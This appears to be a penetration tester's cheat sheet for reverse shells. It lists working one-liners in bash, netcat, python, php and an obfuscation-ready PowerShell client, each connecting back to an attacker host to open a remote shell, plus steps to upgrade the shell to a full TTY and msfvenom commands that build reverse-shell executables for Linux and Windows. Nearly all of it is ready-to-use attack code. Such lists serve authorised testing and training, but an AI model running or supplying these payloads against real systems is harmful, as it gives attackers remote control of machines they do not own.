# reverse shells & upgrades Set your listener: `nc -lvnp 4444` ยท `LHOST=$(tun)` `LPORT=4444` ## Payloads ```sh # bash bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1 # bash (no /dev/tcp) sh -i >& /dev/udp/$LHOST/$LPORT 0>&1 # nc nc -e /bin/sh $LHOST $LPORT rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f # python python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'$LHOST'",'$LPORT'));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")' # php php -r '$s=fsockopen("'$LHOST'",'$LPORT');exec("/bin/sh -i <&3 >&3 2>&3");' # powershell (one-liner; base64 it for delivery) powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sn=([Text.Encoding]::ASCII).GetBytes($sb2);$s.Write($sn,0,$sn.Length);$s.Flush()}" ``` ## Upgrade a dumb shell to a TTY ```sh python3 -c 'import pty;pty.spawn("/bin/bash")' # then: Ctrl-Z stty raw -echo; fg # then in the shell: export TERM=xterm; stty rows 50 cols 200 ``` ## msfvenom ```sh msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o sh.elf msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o sh.exe ```